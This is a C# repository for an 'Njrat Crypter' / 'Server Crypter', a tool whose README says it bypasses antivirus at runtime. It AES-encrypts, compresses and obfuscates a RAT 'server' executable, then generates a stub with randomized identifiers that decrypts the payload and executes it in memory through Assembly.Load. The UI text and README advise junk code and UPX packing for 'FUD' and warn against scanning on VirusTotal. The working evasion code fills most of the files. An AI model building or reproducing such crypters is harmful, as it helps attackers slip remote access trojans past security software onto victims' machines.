├── .gitattributes
├── .gitignore
├── App.config
├── Form1.Designer.cs
├── Form1.cs
├── Form1.resx
├── Program.cs
├── Properties
├── AssemblyInfo.cs
├── Resources.Designer.cs
├── Resources.resx
├── Settings.Designer.cs
└── Settings.settings
├── README.md
├── Resources
└── STUBAMBOULA.txt
├── Server Crypter.csproj
├── Utils
└── Themes.cs
└── obj
└── Debug
├── DesignTimeResolveAssemblyReferences.cache
├── DesignTimeResolveAssemblyReferencesInput.cache
├── Njrat Crypter.csproj.FileListAbsolute.txt
├── Njrat Crypter.csproj.GenerateResource.Cache
├── Njrat Crypter.csprojResolveAssemblyReference.cache
├── Njrat Crypter.pdb
├── Njrat_Crypter.Properties.Resources.resources
├── Server Crypter.csproj.FileListAbsolute.txt
├── Server Crypter.csproj.GenerateResource.Cache
├── Server Crypter.pdb
├── Server_Crypter.Properties.Resources.resources
├── Server_Crypter.cryptNj.resources
├── TempPE
└── Properties.Resources.Designer.cs.dll
├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
└── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | *.exe
3 |
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace Server_Crypter
2 | {
3 | partial class cryptNj
4 | {
5 | ///
6 | /// Variable nécessaire au concepteur.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Nettoyage des ressources utilisées.
12 | ///
13 | /// true si les ressources managées doivent être supprimées ; sinon, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Code généré par le Concepteur Windows Form
24 |
25 | ///
26 | /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas
27 | /// le contenu de cette méthode avec l'éditeur de code.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.label1 = new System.Windows.Forms.Label();
32 | this.boosterButton2 = new BoosterButton();
33 | this.boosterButton1 = new BoosterButton();
34 | this.boosterTextBox1 = new BoosterTextBox();
35 | this.stubRicheText = new System.Windows.Forms.RichTextBox();
36 | this.label2 = new System.Windows.Forms.Label();
37 | this.xylosNotice1 = new XylosNotice();
38 | this.resourcesRichText = new System.Windows.Forms.RichTextBox();
39 | this.label3 = new System.Windows.Forms.Label();
40 | this.SuspendLayout();
41 | //
42 | // label1
43 | //
44 | this.label1.AutoSize = true;
45 | this.label1.Location = new System.Drawing.Point(41, 41);
46 | this.label1.Name = "label1";
47 | this.label1.Size = new System.Drawing.Size(78, 13);
48 | this.label1.TabIndex = 2;
49 | this.label1.Text = "Path of Server:";
50 | //
51 | // boosterButton2
52 | //
53 | this.boosterButton2.Font = new System.Drawing.Font("Segoe UI", 9F);
54 | this.boosterButton2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(182)))), ((int)(((byte)(182)))), ((int)(((byte)(182)))));
55 | this.boosterButton2.Location = new System.Drawing.Point(148, 109);
56 | this.boosterButton2.Name = "boosterButton2";
57 | this.boosterButton2.Size = new System.Drawing.Size(75, 38);
58 | this.boosterButton2.TabIndex = 3;
59 | this.boosterButton2.Text = "Build";
60 | this.boosterButton2.UseVisualStyleBackColor = true;
61 | this.boosterButton2.Click += new System.EventHandler(this.boosterButton2_Click);
62 | //
63 | // boosterButton1
64 | //
65 | this.boosterButton1.Font = new System.Drawing.Font("Segoe UI", 9F);
66 | this.boosterButton1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(182)))), ((int)(((byte)(182)))), ((int)(((byte)(182)))));
67 | this.boosterButton1.Location = new System.Drawing.Point(332, 54);
68 | this.boosterButton1.Name = "boosterButton1";
69 | this.boosterButton1.Size = new System.Drawing.Size(42, 23);
70 | this.boosterButton1.TabIndex = 1;
71 | this.boosterButton1.Text = "....";
72 | this.boosterButton1.UseVisualStyleBackColor = true;
73 | this.boosterButton1.Click += new System.EventHandler(this.boosterButton1_Click);
74 | //
75 | // boosterTextBox1
76 | //
77 | this.boosterTextBox1.Location = new System.Drawing.Point(44, 57);
78 | this.boosterTextBox1.MultiLine = true;
79 | this.boosterTextBox1.Name = "boosterTextBox1";
80 | this.boosterTextBox1.ReadOnly = false;
81 | this.boosterTextBox1.Size = new System.Drawing.Size(272, 20);
82 | this.boosterTextBox1.TabIndex = 0;
83 | this.boosterTextBox1.UseSystemPasswordChar = false;
84 | //
85 | // stubRicheText
86 | //
87 | this.stubRicheText.BackColor = System.Drawing.SystemColors.WindowFrame;
88 | this.stubRicheText.Location = new System.Drawing.Point(536, 41);
89 | this.stubRicheText.Name = "stubRicheText";
90 | this.stubRicheText.Size = new System.Drawing.Size(583, 137);
91 | this.stubRicheText.TabIndex = 4;
92 | this.stubRicheText.Text = "";
93 | //
94 | // label2
95 | //
96 | this.label2.AutoSize = true;
97 | this.label2.Location = new System.Drawing.Point(533, 25);
98 | this.label2.Name = "label2";
99 | this.label2.Size = new System.Drawing.Size(32, 13);
100 | this.label2.TabIndex = 5;
101 | this.label2.Text = "Stub:";
102 | //
103 | // xylosNotice1
104 | //
105 | this.xylosNotice1.BorderStyle = System.Windows.Forms.BorderStyle.None;
106 | this.xylosNotice1.Cursor = System.Windows.Forms.Cursors.Default;
107 | this.xylosNotice1.Enabled = false;
108 | this.xylosNotice1.Location = new System.Drawing.Point(312, 409);
109 | this.xylosNotice1.Multiline = true;
110 | this.xylosNotice1.Name = "xylosNotice1";
111 | this.xylosNotice1.ReadOnly = true;
112 | this.xylosNotice1.Size = new System.Drawing.Size(425, 36);
113 | this.xylosNotice1.TabIndex = 6;
114 | this.xylosNotice1.Text = "Add some junk code for FUDn and you can use upx for low detection";
115 | //
116 | // resourcesRichText
117 | //
118 | this.resourcesRichText.BackColor = System.Drawing.SystemColors.WindowFrame;
119 | this.resourcesRichText.Location = new System.Drawing.Point(536, 230);
120 | this.resourcesRichText.Name = "resourcesRichText";
121 | this.resourcesRichText.Size = new System.Drawing.Size(583, 137);
122 | this.resourcesRichText.TabIndex = 7;
123 | this.resourcesRichText.Text = "";
124 | //
125 | // label3
126 | //
127 | this.label3.AutoSize = true;
128 | this.label3.Location = new System.Drawing.Point(536, 211);
129 | this.label3.Name = "label3";
130 | this.label3.Size = new System.Drawing.Size(125, 13);
131 | this.label3.TabIndex = 8;
132 | this.label3.Text = ".res encodés en AES256";
133 | //
134 | // cryptNj
135 | //
136 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
137 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
138 | this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(66)))), ((int)(((byte)(66)))), ((int)(((byte)(66)))));
139 | this.ClientSize = new System.Drawing.Size(1148, 457);
140 | this.Controls.Add(this.label3);
141 | this.Controls.Add(this.resourcesRichText);
142 | this.Controls.Add(this.xylosNotice1);
143 | this.Controls.Add(this.label2);
144 | this.Controls.Add(this.stubRicheText);
145 | this.Controls.Add(this.boosterButton2);
146 | this.Controls.Add(this.label1);
147 | this.Controls.Add(this.boosterButton1);
148 | this.Controls.Add(this.boosterTextBox1);
149 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
150 | this.Name = "cryptNj";
151 | this.Text = "Server Crypter";
152 | this.ResumeLayout(false);
153 | this.PerformLayout();
154 |
155 | }
156 |
157 | #endregion
158 |
159 | public BoosterTextBox boosterTextBox1;
160 | private BoosterButton boosterButton1;
161 | private System.Windows.Forms.Label label1;
162 | private BoosterButton boosterButton2;
163 | public System.Windows.Forms.RichTextBox stubRicheText;
164 | private System.Windows.Forms.Label label2;
165 | private XylosNotice xylosNotice1;
166 | private System.Windows.Forms.RichTextBox resourcesRichText;
167 | private System.Windows.Forms.Label label3;
168 | }
169 | }
170 |
171 |
--------------------------------------------------------------------------------
/Form1.cs:
--------------------------------------------------------------------------------
1 | using Server_Crypter.Properties;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.ComponentModel;
5 | using System.Data;
6 | using System.Drawing;
7 | using System.IO;
8 | using System.IO.Compression;
9 | using System.Linq;
10 | using System.Security.Cryptography;
11 | using System.Text;
12 | using System.Threading.Tasks;
13 | using System.Windows.Forms;
14 |
15 | namespace Server_Crypter
16 | {
17 | public partial class cryptNj : Form
18 | {
19 | private Random rand = new Random();
20 |
21 | public cryptNj()
22 | {
23 | InitializeComponent();
24 | }
25 |
26 | private void boosterButton1_Click(object sender, EventArgs e)
27 | {
28 | OpenFileDialog openFileDialog = new OpenFileDialog();
29 | openFileDialog.Filter = "Server .exe|*.exe";
30 | openFileDialog.ShowDialog();
31 |
32 | if(openFileDialog.FileName.Length == 0)
33 | {
34 | return;
35 | }
36 |
37 | boosterTextBox1.Text = openFileDialog.FileName;
38 | }
39 |
40 | public static byte[] EncryptExe(byte[] exeBytes, string PassKey)
41 | {
42 | checked
43 | {
44 | byte[] result;
45 | byte[] bytes = Encoding.UTF8.GetBytes(PassKey);
46 | int iterations = 2444;
47 | byte[] salt = new byte[]
48 | {
49 | 95,
50 | 70,
51 | 46,
52 | 145,
53 | 68,
54 | 167,
55 | 230,
56 | 153,
57 | 138,
58 | 178,
59 | 195,
60 | 212,
61 | 31,
62 | 27,
63 | 189,
64 | 99,
65 | 74,
66 | 176,
67 | 166,
68 | 103,
69 | 132,
70 | 184,
71 | 75,
72 | 201,
73 | 107,
74 | 224,
75 | 15,
76 | 248,
77 | 228,
78 | 215
79 | };
80 | using (MemoryStream memoryStream = new MemoryStream())
81 | {
82 | using (AesManaged aesManaged = new AesManaged())
83 | {
84 | aesManaged.KeySize = 256;
85 | aesManaged.BlockSize = 128;
86 | Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, salt, iterations);
87 | aesManaged.Key = rfc2898DeriveBytes.GetBytes((int)Math.Round(Math.Round((double)aesManaged.KeySize / 8.0)));
88 | aesManaged.IV = rfc2898DeriveBytes.GetBytes((int)Math.Round(Math.Round((double)aesManaged.BlockSize / 8.0)));
89 | aesManaged.Mode = CipherMode.CBC;
90 | using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesManaged.CreateEncryptor(), CryptoStreamMode.Write))
91 | {
92 | cryptoStream.Write(exeBytes, 0, exeBytes.Length);
93 | cryptoStream.Close();
94 | }
95 | result = memoryStream.ToArray();
96 | return result;
97 | }
98 | }
99 | }
100 | }
101 |
102 | public static string GetUniqueKey(int maxSize)
103 | {
104 | char[] chars = new char[62];
105 | chars =
106 | "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray();
107 | byte[] data = new byte[1];
108 | using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
109 | {
110 | crypto.GetNonZeroBytes(data);
111 | data = new byte[maxSize];
112 | crypto.GetNonZeroBytes(data);
113 | }
114 | StringBuilder result = new StringBuilder(maxSize);
115 | foreach (byte b in data)
116 | {
117 | result.Append(chars[b % (chars.Length)]);
118 | }
119 | return result.ToString();
120 | }
121 |
122 | private void boosterButton2_Click(object sender, EventArgs e)
123 | {
124 | if(!boosterTextBox1.Text.Contains(".exe"))
125 | {
126 | return;
127 | }
128 |
129 | string key = GetUniqueKey(rand.Next(1, 50 + 1));
130 |
131 | //Encrypt Server method:
132 | byte[] serverbin = File.ReadAllBytes(boosterTextBox1.Text);
133 | byte[] hash = EncryptExe(serverbin, key);
134 | byte[] compress = Compress(hash);
135 |
136 |
137 |
138 | string source = BitConverter.ToString(compress).ToString();
139 |
140 |
141 | string text = new string(source.Reverse().ToArray());
142 | string newValue = text.Replace('0', '+').Replace("-", "");
143 | string aa = newValue.Replace('7', '?');
144 | string bb = Base64Encode(aa);
145 |
146 |
147 |
148 | string BUILD = Resources.STUBAMBOULA;
149 |
150 |
151 | StreamWriter writer = new StreamWriter("./stub.txt");
152 | writer.Write(BUILD.Replace("%RANDOMNAME%", GetUniqueKey(rand.Next(1, 25+1)).Replace("%hexa%", GetUniqueKey(rand.Next(1, 25 + 1)).Replace("%Decompress%", GetUniqueKey(rand.Next(1, 25 + 1)).Replace("%BYTERANDOMNAME%", GetUniqueKey(rand.Next(1, 25 + 1)))))));
153 | writer.Close();
154 |
155 | Console.WriteLine("Stub builded successfuly");
156 |
157 | stubRicheText.Text = BUILD.Replace("%RANDOMNAME%", GetUniqueKey(rand.Next(1, 25 + 1))).Replace("%hexa%", GetUniqueKey(rand.Next(1, 25 + 1))).Replace("%Decompress%", GetUniqueKey(rand.Next(1, 25 + 1))).Replace("%BYTERANDOMNAME%", GetUniqueKey(rand.Next(1, 25 + 1))).Replace("%KEYDECODE%", key);
158 | resourcesRichText.Text = bb;
159 |
160 |
161 |
162 | }
163 |
164 | public static byte[] StringToByteArray(string hex)
165 | {
166 | return Enumerable.Range(0, hex.Length)
167 | .Where(x => x % 2 == 0)
168 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
169 | .ToArray();
170 | }
171 |
172 | private byte[] Compress(byte[] data)
173 | {
174 | using (MemoryStream output = new MemoryStream())
175 | {
176 | using (GZipStream zip = new GZipStream(output, CompressionMode.Compress, true))
177 | {
178 | zip.Write(data, 0, data.Length);
179 | }
180 | return output.ToArray();
181 | }
182 | }
183 |
184 | private byte[] Decompress(byte[] data)
185 | {
186 | using (MemoryStream memory = new MemoryStream(data))
187 | using (GZipStream zip = new GZipStream(memory, CompressionMode.Decompress))
188 | {
189 | const int size = 4096;
190 | byte[] buffer = new byte[size];
191 | using (MemoryStream output = new MemoryStream())
192 | {
193 | int count = 0;
194 | do
195 | {
196 | count = zip.Read(buffer, 0, size);
197 | if (count > 0)
198 | {
199 | output.Write(buffer, 0, count);
200 | }
201 | }
202 | while (count > 0);
203 | return output.ToArray();
204 | }
205 | }
206 | }
207 |
208 | public static string Base64Encode(string plainText)
209 | {
210 | var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText);
211 | return System.Convert.ToBase64String(plainTextBytes);
212 | }
213 | }
214 | }
215 |
--------------------------------------------------------------------------------
/Form1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 |
7 | namespace Server_Crypter
8 | {
9 | static class Program
10 | {
11 | ///
12 | /// Point d'entrée principal de l'application.
13 | ///
14 | [STAThread]
15 | static void Main()
16 | {
17 | Application.EnableVisualStyles();
18 | Application.SetCompatibleTextRenderingDefault(false);
19 | Application.Run(new cryptNj());
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Les informations générales relatives à un assembly dépendent de
6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations
7 | // associées à un assembly.
8 | [assembly: AssemblyTitle("Njrat Crypter")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Njrat Crypter")]
13 | [assembly: AssemblyCopyright("Copyright © 2017")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly
18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de
19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type.
20 | [assembly: ComVisible(false)]
21 |
22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM
23 | [assembly: Guid("c25e39a9-8215-43aa-96a3-da0e9512ec18")]
24 |
25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes :
26 | //
27 | // Version principale
28 | // Version secondaire
29 | // Numéro de build
30 | // Révision
31 | //
32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
33 | // en utilisant '*', comme indiqué ci-dessous :
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Ce code a été généré par un outil.
4 | // Version du runtime :4.0.30319.42000
5 | //
6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
7 | // le code est régénéré.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Server_Crypter.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.
17 | ///
18 | // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder
19 | // à l'aide d'un outil, tel que ResGen ou Visual Studio.
20 | // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen
21 | // avec l'option /str ou régénérez votre projet VS.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server_Crypter.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Remplace la propriété CurrentUICulture du thread actuel pour toutes
51 | /// les recherches de ressources à l'aide de cette classe de ressource fortement typée.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 |
63 | ///
64 | /// Recherche une chaîne localisée semblable à using System;
65 | ///using System.Collections.Generic;
66 | ///using System.IO;
67 | ///using System.IO.Compression;
68 | ///using System.Linq;
69 | ///using System.Reflection;
70 | ///using System.Text;
71 | ///using System.Security.Cryptography;
72 | ///using UpdateMe.Properties;
73 | ///
74 | ///namespace %RANDOMNAME%
75 | ///{
76 | /// static class Program
77 | /// {
78 | /// private static string Key = "%KEYDECODE%";
79 | /// static void Main()
80 | /// {
81 | /// //HERE is path of .res file:
82 | ///
83 | /// string %hexa% = Resources.
84 | ///
85 | /// string bb_ = Base64Decode(%hexa%);
86 | /// [le reste de la chaîne a été tronqué]";.
87 | ///
88 | internal static string STUBAMBOULA {
89 | get {
90 | return ResourceManager.GetString("STUBAMBOULA", resourceCulture);
91 | }
92 | }
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 | ..\Resources\STUBAMBOULA.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252
123 |
124 |
--------------------------------------------------------------------------------
/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Ce code a été généré par un outil.
4 | // Version du runtime :4.0.30319.42000
5 | //
6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
7 | // le code est régénéré.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Server_Crypter.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Crypter Runtime AV's bypass
2 |
3 | This is project for bypass AV's runtime with .net server crypter.
4 |
5 | * 1- Open Folder Server Crypter
6 | * 2- Open "Server Crypter.csproj" in Visual Studio
7 | * 3- Build source with F5 or button on top
8 | * 4- Select you'r server and press "Build"
9 | * 5- Create new project
10 | * 6- Past in program.cs the Build content and create Ressource files
11 | * 7- Fix little error, add junk code, icon for FUD
12 |
13 | **DO NOT SCAN IN VIRUSTOTAL, JOTTI OR OTHERS!**
14 |
15 | **ONLY SCAN ON NODISTRIBUTE, VIRUSCHECKMATE.**
--------------------------------------------------------------------------------
/Resources/STUBAMBOULA.txt:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.IO.Compression;
5 | using System.Linq;
6 | using System.Reflection;
7 | using System.Text;
8 | using System.Security.Cryptography;
9 | using UpdateMe.Properties;
10 |
11 | namespace %RANDOMNAME%
12 | {
13 | static class Program
14 | {
15 | private static string Key = "%KEYDECODE%";
16 | static void Main()
17 | {
18 | //HERE is path of .res file:
19 |
20 | string %hexa% = Resources.
21 |
22 | string bb_ = Base64Decode(%hexa%);
23 | string aa_ = bb_.Replace('?', '7');
24 | string newValue_ = aa_.Replace('+', '0');
25 | string test_ = new string(newValue_.Reverse().ToArray());
26 |
27 | byte[] source_ = %BYTERANDOMNAME%(test_);
28 | byte[] decompress = %Decompress%(source_);
29 | byte[] BUGBNIEBFNOnnjkl = DecryptExe(decompress, Key);
30 |
31 | Assembly.Load(BUGBNIEBFNOnnjkl).EntryPoint.Invoke(null, null);
32 | }
33 |
34 | private static byte[] %BYTERANDOMNAME%(string hex)
35 | {
36 | return Enumerable.Range(0, hex.Length)
37 | .Where(x => x % 2 == 0)
38 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
39 | .ToArray();
40 | }
41 |
42 |
43 | public static string Base64Decode(string base64EncodedData)
44 | {
45 | var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData);
46 | return System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
47 | }
48 |
49 |
50 | public static byte[] DecryptExe(byte[] encodedBytes, string PassKey)
51 | {
52 | byte[] result;
53 | byte[] bytes = Encoding.UTF8.GetBytes(PassKey);
54 | int iterations = 2444;
55 |
56 | #region byteSalt
57 | byte[] salt = new byte[]
58 | {
59 | 95,
60 | 70,
61 | 46,
62 | 145,
63 | 68,
64 | 167,
65 | 230,
66 | 153,
67 | 138,
68 | 178,
69 | 195,
70 | 212,
71 | 31,
72 | 27,
73 | 189,
74 | 99,
75 | 74,
76 | 176,
77 | 166,
78 | 103,
79 | 132,
80 | 184,
81 | 75,
82 | 201,
83 | 107,
84 | 224,
85 | 15,
86 | 248,
87 | 228,
88 | 215
89 | };
90 | #endregion
91 |
92 | MemoryStream memoryStream = new MemoryStream();
93 | AesManaged aesManaged = new AesManaged();
94 | aesManaged.KeySize = 256;
95 | aesManaged.BlockSize = 128;
96 | Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, salt, iterations);
97 | aesManaged.Key = rfc2898DeriveBytes.GetBytes((int)Math.Round(Math.Round((double)aesManaged.KeySize / 8.0)));
98 | aesManaged.IV = rfc2898DeriveBytes.GetBytes((int)Math.Round(Math.Round((double)aesManaged.BlockSize / 8.0)));
99 | aesManaged.Mode = CipherMode.CBC;
100 |
101 | CryptoStream cs = new CryptoStream(memoryStream, aesManaged.CreateDecryptor(), CryptoStreamMode.Write);
102 |
103 | cs.Write(encodedBytes, 0, encodedBytes.Length);
104 | cs.Close();
105 |
106 | result = memoryStream.ToArray();
107 |
108 | return result;
109 | }
110 |
111 | private static byte[] %Decompress%(byte[] data)
112 | {
113 | using (MemoryStream memory = new MemoryStream(data))
114 | using (GZipStream zip = new GZipStream(memory, CompressionMode.Decompress))
115 | {
116 | const int size = 4096;
117 | byte[] buffer = new byte[size];
118 | using (MemoryStream output = new MemoryStream())
119 | {
120 | int count = 0;
121 | do
122 | {
123 | count = zip.Read(buffer, 0, size);
124 | if (count > 0)
125 | {
126 | output.Write(buffer, 0, count);
127 | }
128 | }
129 | while (count > 0);
130 | return output.ToArray();
131 | }
132 | }
133 | }
134 | }
135 | }
136 |
--------------------------------------------------------------------------------
/Server Crypter.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C25E39A9-8215-43AA-96A3-DA0E9512EC18}
8 | WinExe
9 | Properties
10 | Server_Crypter
11 | Server Crypter
12 | v4.5.2
13 | 512
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | Form
51 |
52 |
53 | Form1.cs
54 |
55 |
56 |
57 |
58 |
59 | Form1.cs
60 |
61 |
62 | ResXFileCodeGenerator
63 | Resources.Designer.cs
64 | Designer
65 |
66 |
67 | True
68 | Resources.resx
69 | True
70 |
71 |
72 | SettingsSingleFileGenerator
73 | Settings.Designer.cs
74 |
75 |
76 | True
77 | Settings.settings
78 | True
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
96 |
--------------------------------------------------------------------------------
/Utils/Themes.cs:
--------------------------------------------------------------------------------
1 | using System.Threading;
2 | using System.Drawing.Text;
3 | using System.Drawing.Drawing2D;
4 | using System.ComponentModel;
5 | using System.Drawing;
6 | using System;
7 | using System.Windows.Forms;
8 | using static Helpers;
9 | using System.IO;
10 |
11 | static internal class Helpers
12 | {
13 |
14 | public static Graphics G;
15 |
16 | private static SizeF TargetStringMeasure;
17 | public enum MouseState : byte
18 | {
19 | None = 0,
20 | Over = 1,
21 | Down = 2
22 | }
23 |
24 | public enum RoundingStyle : byte
25 | {
26 | All = 0,
27 | Top = 1,
28 | Bottom = 2,
29 | Left = 3,
30 | Right = 4,
31 | TopRight = 5,
32 | BottomRight = 6
33 | }
34 | public static Rectangle FullRectangle(Size S, bool Subtract)
35 | {
36 | Rectangle result;
37 | if (Subtract)
38 | {
39 | result = checked(new Rectangle(0, 0, S.Width - 1, S.Height - 1));
40 | }
41 | else
42 | {
43 | result = new Rectangle(0, 0, S.Width, S.Height);
44 | }
45 | return result;
46 | }
47 | public static Color ColorFromHex(string Hex)
48 | {
49 | return Color.FromArgb(Convert.ToInt32(long.Parse(string.Format("FFFFFFFFFF{0}", Hex.Substring(1)), System.Globalization.NumberStyles.HexNumber)));
50 | }
51 |
